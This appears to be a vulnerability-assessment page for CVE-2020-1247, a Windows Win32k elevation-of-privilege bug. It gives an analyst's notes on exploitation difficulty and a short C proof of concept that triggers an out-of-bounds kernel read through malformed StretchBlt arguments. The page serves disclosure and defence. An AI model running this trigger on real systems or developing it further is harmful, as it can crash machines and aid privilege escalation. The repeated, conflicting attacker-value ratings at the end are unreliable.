CVE-2020-1247

An elevation of privilege vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory, aka ‘Win32k Elevation of Privilege Vulnerability’. This CVE ID is unique from CVE-2020-1207, CVE-2020-1251, CVE-2020-1253, CVE-2020-1310.

Recent assessments:

zeroSteiner at September 09, 2020 2:36pm UTC reported:

A vulnerability exists within the NtGditretchBlt system call that can be leveraged to trigger an out of bounds read access within win32kfull!vStrWrite04. The bug manifests itself when the Special Pool setting is enabled through the driver verifier utility.

An attacker would use this flaw to escalate their privileges to that of the local system through this kernel mode exploit.

Exploitation would be very difficult, a successful attack would need an information leak as well as reliable control over the win32k heap which is more difficult on Windows 10 than previous versions of Windows due to type isolation (added in RS3) and the KASLR improvements (added in the Anniversary Update). The win32k subsystem is however available as an attack surface on all versions of Windows making it a very high-value target.

#include <Windows.h>

int main()
{
    BITMAPINFO bi = {{0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2}};
    char out[0x1000] = {0};
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0);
    SelectObject(r0, r1);
    StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6);

    return 0;
}

_Original PoC provided by Check Point Research, see: <https://cpr-zero.checkpoint.com/about/&gt;_

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 1